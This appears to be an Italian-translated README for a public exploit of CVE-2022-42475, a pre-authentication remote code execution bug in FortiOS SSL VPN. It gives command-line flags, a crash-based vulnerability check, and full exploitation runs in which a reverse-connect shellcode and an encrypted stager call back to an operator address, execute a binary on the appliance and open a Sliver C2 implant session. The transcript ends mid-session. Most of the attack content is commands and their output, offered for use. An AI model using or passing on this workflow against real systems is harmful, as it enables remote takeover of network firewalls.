
Exploit per CVE-2022-42475, una RCE pre-autenticazione in FortiOS SSL VPN. Supporta la validazione, la verifica benigna e lo sfruttamento completo con shellcode di connessione inversa e stager binario cifrato per l'accesso remoto.
Questo è l'exploit per il post del blog qui: https://bishopfox.com/blog/exploit-cve-2022-42475
Questa versione dell'exploit non funzionerà senza che tu, l'hacker, fornisca gli indirizzi di memoria necessari per i gadget ROP, ecc. Il lavoro per determinare questi dati è riservato e di proprietà di Bishop Fox e non pubblicherò (né posso) pubblicarlo insieme a questo exploit. Confido che tu capisca!
execve(file_binario).Nota: Al momento la modalità "solo convalida" funziona su tutte le versioni conosciute di FortiOS. Tuttavia, gli exploit funzionano solo contro FortiOS 6.0.4 su hardware 100D. Non lavoro più in BF e quindi non posso pubblicare l'exploit esteso che supporta qualcosa come 18k target.
pip3 install PyCrypto
pip3 install pycryptodome
Questo non tenterà alcun exploit del bug, ma lo attiverà come crash (il demone SSL VPN remoto si riavvia automaticamente e immediatamente). Il crash viene rilevato in modo euristico e segnalato all'operatore.
Eseguilo usando il flag -v di convalida:
$ ./x.py -t 192.168.0.10 -p 8443 -v
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] In esecuzione in modalità solo convalida. Nessun RCE.
[>] Verifica se il target è vulnerabile (potrebbe richiedere 10 secondi)
[+] Il target '192.168.0.10:8443' sembra VULNERABILE
Questo attiverà il bug, distribuirà una catena ROP e salterà allo shellcode. Lo shellcode è benigno e funziona come segue:
0xbf/tmp/x sull'apparecchio FortiGate0xbf all'exploit se la decifratura del payload è andata a buon fineFlag:
-t host/IP target
-p porta target
-e modalità exploit
-c modalità solo connessione di ritorno
-H e -P IP:porta dell'operatore (obbligatorio)
-s versione software di FortiOS (obbligatoria)
-m modello hardware su cui è in esecuzione FortiOS
-d attiva il debug
Un esempio in cui selezioniamo sia la versione software 6.0.4 che il modello di apparecchio 100D:
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Generazione di una chiave AES casuale a 128 bit per crittografare il payload
[+] Crittografia del payload in corso...
[+] Utilizzo di shellcode in cache. Modifica ./x.py (cerca 'shellcode.s') per forzare l'aggiornamento.
[+] Configurato per la connessione di ritorno a 192.168.0.99:443
[+] Avvio del listener per payload crittografato...
[+] Preparazione dell'exploit...
[+] Invio della richiesta!
[+] Importazione dei gadget da 'exploit_data.json'
[<] Listener in ascolto sulla porta 443, in attesa di connessione di ritorno...
[+] Convalida dei gadget...
[!] Nessun modello hardware funzionale definito per FortiOS '5.2.14'. Rimosso.
[!] Nessun modello hardware funzionale definito per FortiOS '5.6.9'. Rimosso.
[+] Importati 797 target:
[-] 6.0.4 [ 1 target ] <=== 100D
[-] 5.2.14 [ 47 target ]
[-] 5.6.9 [ 60 target ]
[-] 6.0.13 [ 68 target ]
[-] 6.0.14 [ 67 target ]
[-] 6.0.15 [ 58 target ]
[-] 6.0.8 [ 67 target ]
[-] 6.2.11 [ 69 target ]
[-] 6.2.7 [ 75 target ]
[-] 6.4.10 [ 71 target ]
[-] 6.4.2 [ 62 target ]
[-] 6.4.3 [ 61 target ]
[-] 6.4.6 [ 73 target ]
[-] 6.4.9 [ 72 target ]
[-] 7.0.4 [ 53 target ]
[+] Avvio dell'exploit
[<] Richiesta in arrivo da 192.168.0.10:22470
[<] Pacchetto hello ricevuto dal target!! Modello #: 100D
[<] Invio del payload crittografato di 36 byte
[<] Invio del payload completato (36 byte), in attesa di risposta...
[<] Ricevuta la risposta prevista ('100D') da 192.168.0.10
[<] Il target è VULNERABILE con sicurezza al 100%.
[+] Operazione completata!
Se si omette -m per scegliere un modello hardware, l'exploit tenterà a forza bruta tutti i target hardware per la versione software specificata.
0xbf/tmp/x0xbf all'exploitexecve("/tmp/x")Flag:
-t host/IP target
-p porta target
-e modalità exploit
-f filename /percorso/del/binario/da/eseguire/sul/target
-H e -P IP:porta dell'operatore per la connessione di ritorno (obbligatorio)
-s versione software di FortiOS (obbligatoria)
-m modello hardware su cui è in esecuzione FortiOS
-d attiva il debug
Sliver:
carl@pluto:~$ ./sliver-server_linux
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Benvenuto nella shell sliver, digita 'help' per le opzioni
[server] sliver > mtls -l 8888
[*] Avvio listener mTLS ...
[*] Job #1 avviato con successo
Exploit:
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] L'exploit tenterà di eseguire execve("implant5") sul target
...
[<] Il target è VULNERABILE con sicurezza al 100%.
[+] Operazione completata.
E tornando a Sliver:
[*] Sessione d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST
[server] sliver > usa d8d5344b-c666-4c60-9e33-5ce50eb82cad
[*] Sessione attiva implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)
[server] sliver (implant5) > whoami
ID di accesso: <err>
[server] sliver (implant5) > ls